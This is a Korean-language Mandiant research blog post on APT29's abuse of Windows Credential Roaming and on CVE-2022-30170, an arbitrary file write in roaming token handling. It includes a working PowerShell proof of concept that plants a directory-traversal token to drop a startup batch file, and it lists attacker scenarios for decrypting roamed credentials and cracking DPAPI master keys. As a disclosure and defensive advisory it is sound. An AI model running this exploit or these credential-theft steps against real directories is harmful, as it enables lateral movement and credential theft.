Blog

APT29는 어떤 방식으로 Windows 자격 증명 로밍 기능을 악용했을까?

Thibault Van Geluwe de Berlaere
Nov 08, 2022
8 min read
|   Last updated: Apr 05, 2023
Advanced Persistent Threats (APTs)
phishing

2022년 초 맨디언트(Mandiant)는 APT29 공격 그룹이 유럽 지역의 외교 기관을 대상으로 한 피싱 공격에 성공한 것을 감지하고 대응한 바 있습니다. 이때 APT29는 피싱 성공 이후 Windows 자격 증명 로밍(Windows Credential Roaming) 기능을 악용해 침투를 시도했습니다. 참고로 Windows 자격 증명 로밍은 액티브 디렉토리 환경에서 사용자에게 투명하고 안전한 방식으로 자격 증명을 이용할 수 있는 기능입니다. Windows 자격 증명 로밍은 처음으로 컴퓨터에 로그인할 때 생성된 로컬 프로필을 이용해 이후 로그인을 할 때 번거롭게 자격 증명 과정을 거치지 않아도 되는 편의를 제공합니다.

맨디어트가 2022년 초 피싱 공격 배후로 APT29를 지목한 것은 이 공격 그룹이 러시아의 전략적 우선순위를 전제로 표적을 골라왔고, 유럽의 외교 기관은 그중 하나이기 때문입니다. 맨디언트는 2014년 이전부터 러시아의 해외정보총국(SVR: Foreign Intelligence Service)가 후원하는 것으로 보이는 공격 그룹인 APT29를 추적해왔습니다. 일부 APT29의 활동은 마이크로소프트가 노밸리움(Nobelium)이라는 이름으로 추적하고 있습니다.

맨디언트는 APT29가 피싱 성공 후 피해자 네트워크에 있는 액티브 디렉토리 시스템을 대상으로 다음 예와 같은 LDAP 쿼리들을 실행한 것을 관찰하였습니다.

4662 | Audit Success | An operation was performed on an object.

 

Subject :

Security ID: < redacted by Mandiant >

Account Name: < redacted by Mandiant >

Account Domain: <redacted by Mandiant>

Logon ID: 0x000000006d15eb96

 

Object:

Object Server: D

Object Type: %{bf967aba-0de6-11d0-a285-00aa003049e2}

Object Name: < redacted by Mandiant >

Handle ID: 0x0000000000000000

 

Operation:

Operation Type: Object Access

Accesses: %%7688

 

Access Mask: 0x00000100

Properties: %%7688

{771727b1-31b8-4cdf-ae62-4fe39fadf89e}

{612cb747-c0e8-4f92-9221-fdd5f15b550d}

{91e647de-d96f-4b70-9557-d63ff4f3ccd8}

{b7ff5a38-0818-42b0-8110-d3d154c97f24}

{bf967aba-0de6-11d0-a285-00aa003049e2}

쿼리는 일반적인 자격 증명 정보 수집(예: unixUserPassword)와 관련된 것으로 보입니다. 관찰에 따르면 두드러진 속성이 있었는데 바로 {b7ff5a38-0818-42b0-8110-d3d154c97f24} 또는 msPKI-CredentialRoamingTokens입니다. 이는 마이크로소프트의 설명에 따르면 이는 '로밍을 위한 암호화된 사용자 자격 증명 토큰 BLOB 저장소'입니다. 맨디언트는 추가 검사를 통해 이 속성이 자격 증명 로밍의 일부임을 확인했습니다.

자격 증명 로밍 심층 분석

자격 증명 로밍은 Windows Server 2003 SP1부터 지원한 기능으로 Windows 11, Windows Server 2022까지 포함되어 있습니다. 이 기능은 사용자가 인증서를 로밍 방식으로 이용할 수 있도록 하기 위해 만든 것입니다. 보안성을 보장하는 가운데 사용자와 관리자의 업무 편의를 높이는 기능이라 할 수 있습니다.

자격 증명 로밍의 예를 들어 보겠습니다. 회사에서 조직원에게 이메일 클라이언트(S/MIME: Secure/Multipurpose Internet Mial Extention) 인증서를 자동으로 제공하는 시나리오를 살펴보겠습니다. 앨리스라는 이름의 사용자가 장치 A에 로그인하면 자동 등록 절차가 시작됩니다. 그리고 앨리스의 자격 증명 정보가 인증서 템플릿에 자동으로 등록됩니다. 이후 앨리스가 장치 B에서 로그인을 할 때 새 인증서를 받을 필요가 없습니다. 자격 증명 로밍을 통해 이전에 장치 A에서 등록한 S/MIME 인증서가 장치 B에도 저장되어 있기 때문입니다. 따라서 앨리스는 하나의 인증서만 등록하면 됩니다. 덕분에 관리자의 인증서 관리 부담도 줄어듭니다.

Credential Roaming diagram
그림 1. 자격 증명 로밍 다이어그램 (출처)

자격 증명 로밍은 PKI 공급 업체 같은 외부 소스의 인증서를 비롯한 모든 종류의 인증서를 지원합니다. 단 TPM 같이 하드웨어 기반으로 인증서를 관리할 경우는 이용할 수 없습니다. 이외 더 많은 예외 상황에 대해서는 2012년 발행한 마이크로소프트의 자격 증명 로밍 관련 백서를 참조 바랍니다.

Windows Vista는 자격 증명 로깅 기능을 확장하여 Windows 자격 증명 관리자에 저장된 사용자 이름과 암호도 컴퓨터 간 로밍을 가능하게 하였습니다. 이 기능은 보안 이유로 Windows 7부터 제외된 것으로 보입니다.

자격 증명 로밍 관련 보안은 이전에 Michael Grafnitter가 작성한 블로그에 관련 언급이 있었습니다. 그 내용에는 Active Directory에서 로밍 된 자격 증명을 추출하는 데 DSInternals 툴킷을 사용하는 방법과 Mimikatz 도구를 사용하는 것에 대한 설명이 포함됩니다.

자격 증명 로밍은 사용자의 액티브 디렉토리 계정을 데이터 저장소로 사용해 인증서와 자격 증명(로밍 토큰이라고 함)을 동기화합니다. 2021년 마이크로소프트가 발행한 백서에 따르면 자격 증명 로밍에 사용되는 LDAP 속성은 다음과 같습니다.

  • msPKI-CredentialRoamingTokens
  • msPKIRoamingTimeStamp
  • msPKIDPAPIMasterKeys
  • msPKIAccountCredentials

이러한 속성은 Private-Information 속성 집합을 형성합니다. 마지막 속성인 msPKIAccountCredentials는 로밍 토큰이 저장되는 위치입니다. msPKIRoamingTimeStamp 속성에는 msPKIAccountCredentials와 msPKIDPAPIMasterKeys의 최근 업데이트 시간이 포함되어 있습니다. 참고로 msPKIDPAPIMasterKeys에는 사용자의 DPAPI 마스터 키가 포함됩니다.

자격 증명 로밍은 그림 2와 같이 예약된 작업으로 처리됩니다(\Microsoft\Windows\CertificateServicesClient\UserTask-Roam). 이 예약된 작업은 DLL에 해당하는 CLSID가 있는 COM 객체를 시작합니다(자격 증명 로밍 서비스는 이전에 DIMS라 불렀음). 문자열 "KEYROMING "이 인수로 전달됩니다.

Scheduled Task that launches Credential Roaming
그림 2: 자격 증명 로밍을 시작하는 예약된 작업

dimsjob.dll 엔트리 포인트 평가를 통해 맨디언트는 dimsjob.dll 이 다른 DLL을 로드하는 것을 관찰하였습니다. 참고로 검사한 DLL은 Windows Server 2008 R2에서 가져온 것입니다. 최신 버전의 Windows는 다양한 COM 객체를 사용해 자격 증명 로밍을 처리합니다.

Snippet of code from dimsjob.dll!CDims::Notify where dimsroam.dll!DimsRoamEntry is called
그림 3: 호출된 코드의 dimsjob.dll!CDims::Notify 스니펫 dimsroam.dll!DimsRoamEntry

dimsjob.dll 평가 후 맨디언트는 msPKIAccountCredentialsLDAP 속성에 있는 항목의 이진 구조를 식별했습니다.

Figure 5: Binary structure of Roaming Tokens
그림 4: 로밍 토큰의 바이너리 구조

이진 구조는 로밍 토큰 유형을 나타내는 것으로 시작합니다. 맨디언트는 다음 유형을 식별하였습니다.

  • %0: DPAPI Master Key
  • %1: CAPI Private Key (RSA)
  • %2: CAPI Private Key (DSA)
  • %3: CAPI Certificate
  • %4: CAPI Certificate Request
  • %5: Username/Password (Enterprise Credential Data)
  • %6: (unknown – presumably unused)
  • %7: CNG Certificate
  • %8: CNG Certificate Request
  • %9: CNG Private Key

그런 다음 로밍 토큰의 식별자를 찾았습니다. 이것은 디스크에 있는 해당 파일의 이름입니다. 구조는 로밍 토큰의 마지막 업데이트 스탬프, 일부 NULL 바이트 및 로밍 토큰 데이터의 SHA1 해시로 되어 있으며 로밍 토큰 데이터 크기와 로우(raw) 데이터를 포함합니다.

dimsroam.dll 시작 시 현재 사용자의 msPKIAccountCredentials의 LDAP 속성에서 이러한 구조를 검색합니다. 로밍 토큰에 해당하는 로컬 파일이 있는지 확인한 다음 파일을 찾으면 dimsroam.dll은 마지막으로 파일을 쓴 시간과 SHA1을 비교합니다. 그러고 나서 필요시 파일을 업데이트합니다. 로컬 파일을 찾을 수 없는 경우 다음 그림과 같이 로밍 토큰 유형에 따라 바이너리 데이터의 올바른 저장 위치를 식별합니다.

Snippet from dimsroam.dll where the save location is determined based on the Roaming Token type
그림 5: 로밍 토큰 유형에 따라 저장 위치가 결정되는 dimsroam.dll의 스니펫(경로는 사용자 %AppData% 디렉토리 앞에 추가됨)

로밍 토큰의 최정 저장 위치를 결정하기 위해 다음 그림과 같이 식별자(바이트 0x03 ~ 0x0F)가 폴더 경로 문자열에 추가됩니다.

Identifier string is appended to folder path string
그림 6: 폴더 경로 문자열에 식별자 문자열이 추가됨

그런 다음 이 파일 경로는 kernel32!CreateFileWAPI 호출로 직접 전달되며(그림 7) 로밍 토큰 데이터가 기록됩니다.

The modified file path is passed to kernel32!CreateFileW
그림 7: 수정된 파일 경로가 kernel32!CreateFileW로 전달됨

 

CVE-2022-30170: 임의 파일 쓰기와 원격 코드 실행으로 전환됨

앞서 언급한 동작은 임의 파일 쓰기 취약점입니다. 파일 경로가 제대로 삭제되지 않았으며 디렉토리 탐색("..\") 문자가 포함될 수 있습니다. 공격자가 msPKIAccountCredentialsLDAP 속성을 제어할 수 있는 경우 식별자 문자열에 디렉토리 탐색 문자가 포함된 악의적인 로밍 토큰 항목을 추가할 수 있습니다. 이를 통해 피해자 계정으로 가장하여 파일시스템의 모든 파일에 임의의 바이트 수를 쓸 수 있습니다. 이때 유일한 제약 조건은 전체 파일 이름과 디렉토리 순회 문자가 92바이트 버퍼에 들어맞는다는 것입니다.

맨디언트는 개념 증명을 위해 다음과 같은 악성 로밍 토큰을 개발했습니다.

Malicious Roaming Token entry
그림 8: 악성 로밍 토큰 진입

msPKIAccountCredentials 악성 로밍 토큰 항목을 피해자 계정의 LDAP 삽입하려면 다음 파워쉘 스크립트를 실행하면 됩니다.

# Fetch current user object

$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys',
'msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens',
'msPKIRoamingTimestamp')

 

# Install malicious Roaming Token (spawns calc.exe)

$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c5374
61727475705c6d616c6963696f75732e6261740000000000000000000000000000000
000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d
9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"

$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"

Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose


# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed

$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
set-aduser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose

msPKIRoamingTimeStamp 속성을 업데이트하려면 자격 증명 로밍 서비스는 피해자가 그때부터 로그인하는 모든 컴퓨터에서 동기화를 트리거 합니다. dimsroam.dllmsPKIAccountCredentials LDAP 속성을 파싱하고 ‘%APPDATA%\Microsoft\SystemCertificates\My\Certificates\..\..\..\Windows\Start Menu\Programs\Startup\malicious.bat‘ (또는 간소화하여 ‘%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\malicious.bat‘)를 생성합니다. 여기에는 ‘@echo off [newline] start calc.exe’ 컨텐츠가 포함됩니다. 이 BAT 파일은 다음에 사용자가 시스템에 로그인할 때 실행됩니다. 이를 통해 공격자는 원격 코드 실행이라는 목표에 한 발짝 다가서게 됩니다.

이 취약점은 2022년 4월 MSRC에 보고되었으며 '권한 상승' 취약점으로 분류되었습니다. 마이크로소프트는 이 문제 해결을 위해 2022년 9월 13일에 CVE-2022-3017 취약점에 대한 문서(KB5017365, KB5017367)를 게시했습니다. 참고로 맨디언트는 이 취약점을 MNDT-2022-0038로 게시하였습니다.

공격자의 관점

조직에서 자격 증명 로밍을 사용한다면 공격자 또는 레드팀이 권한 상승을 위해 저장된 자격 증명을 남용할 수 있습니다. 공격자가 자격 증명 로밍을 남용할 수 있는 상황은 다음과 같이 정리할 수 있습니다.

  1. 조직에서 자격 증명 로밍이 사용되는 각 시스템에 2022년 9월에 올라온 패치를 적용하지 않은 상황
    영향을 받는 시스템은 CVE-2022-30170에 취약합니다. 공격자는 이 취약점을 악용하여 자신이 제어할 수 있는 모든 사용자의 컨텍스트에 영향을 받는 시스템에 임의의 파일을 작성하여 측면 이동을 허용할 수 있습니다. 이 기술을 사용하여 공격자는 피해자가 접근할 수 있는 모든 시스템으로 침투할 수 있습니다. 공격자는 계정 자체에 대한 접근 권한을 갖거나 피해자 계정에 대한 충분한 권한이 있는 다른 액티브 디렉토리 계정을 통해 사용자 계정에 대한 쓰기 접근 권한을 필요로 합니다.
  2. 공격자가 자격 증명 로밍을 사용 중이거나 적절한 정리 없이 과거에 사용했던 도메인 관리자 권한을 얻은 경우
    이 시나리오에서 공격자는 DPAPI 도메인 백업 키를 검색하고 자격 증명 로밍을 위해 액티브 디렉토리 특성에 저장된 모든 자격 증명의 암호를 해독할 수 있습니다. 앞서 언급한 Michael Grafnitter는 액티브 디렉토리에서 로밍 된 개인 키 추출에 대한 내용을 다루는 블로그 포스팅에서 액티브 디렉토리에서 자격 증명을 추출하는 방법과 Mimikatz 도구를 사용해 DPAPI 도메인 백업 키로 암호를 푸는 방법을 설명합니다.
    조직에서 현재 자격 증명 로밍을 사용하지 않지만 과거에 자격 증명 로밍을 사용한 경우도 자격 증명이 액티브 디렉토리에 계속 남아 있을 수 있습니다. 2012년 공개된 마이크로소프트의 백서에는 시스템 관리자가 인증서 로밍을 해제해는 방법을 안내합니다. 액티브 디렉토리에서 로밍 자격 증명은 수작업으로 지울 수 있습니다. 이렇게 정리를 하지 못했다면 액티브 디렉토리 환경에 중요한 자격 증명 정보가 저장되어 있을 수 있습니다.
    또한, 조직에서 Windows Vista를 사용할 경우 인증서와 개인 키 외에 사용자 이름과 암호도 액티브 디렉토리에 저장되어 있을 수 있습니다. 이런 잠재적 보안 문제 해결을 위해 마이크로소프트는 Windows 7부터 사용자 이름과 암호를 저장하는 기능을 제거한 것으로 보입니다.
  3. 공격자가 자격 증명 로밍을 사용 중이거나 과거에 사용되었던 사용자의 일반 텍스트 암호에 접근할 수 있는 경우
    2번째 시나리오와 같이 공격자는 피해자 계정으로 접근해 액티브 디렉토리에서 자격 증명 특성을 검색할 수 있습니다. 공격자는 사용자의 일반 텍스트 암호를 사용하여 DPAPI 마스터 키를 해독하고 로밍 속성에 저장된 자격 증명을 얻을 수 있습니다.
  4. 공격자가 피해자 계정의 msPKIDPAPIMasterKeys 속성에 읽기 권한을 가지고 있지만 일반 텍스트 암호가 없는 경우
    속성을 읽음으로써 공격자는 사용자의 DPAPI 마스터 키를 추출하고 인기 있는 John the Ripper 암호 크래킹 소프트웨어의 DPAPImk2john.pyPththon 스크립트를 사용해 사용자 암호 해시를 추출할 수 있습니다. 이 해시는 John the Ripper 또는 hashcat을 사용해 오프라인에서 크랙 할 수 있습니다.

권장 사항

맨디언트의 권장 사항은 현재 조직에서 자격 증명 로밍을 사용하고 있는지 확인하는 것입니다. 만약 사용하고 있다면 2022년 9월 패치를 적용해 CVE-2022-30170 취약점 문제를 해결하십시오. 또한, 지금은 아니지만 예전에 자격 증명 로밍을 사용했다면 마이크로소프트의 안내에 따라 정리를 하십시오.

참고로 본 포스팅에 소개한 연구는 자격 증명 로밍에 대한 이해와 함께 APT29가 어떻게 관련 취약점을 활용하는지에 대한 통찰력을 제공합니다. 맨디언트는 IR 컨설턴트가 관찰한 ( msPKI-CredentialRoamingTokens {b7ff5a38-0818-42b0-8110-d3d154c97f24}) 속성이 어떻게 자격 증명 로밍 환경에서 악용되는지에 대한 상세 내용을 앞으로 확인해 나아갈 계획입니다.

참고 문헌

부록

  • 2022년 4월 20일 - Microsoft에 문제 제출
  • 2022년 4월 26일 - 케이스 열림
  • 2022년 5월 18일 - Microsoft에서 문제 확인
  • 2022년 6월 1일 - Microsoft는 문제를 '심층 방어' 취약점으로 분류
  • 2022년 6월 7일 - MSRC에 범위 및 영향 재설명
  • 2022년 6월 9일 - MSRC에서 문제의 심각성을 재평가
  • 2022년 6월 17일 - MSRC에서 CVE-2022-30170 할당
  • 2022년 9월 13일 - 패치 릴리스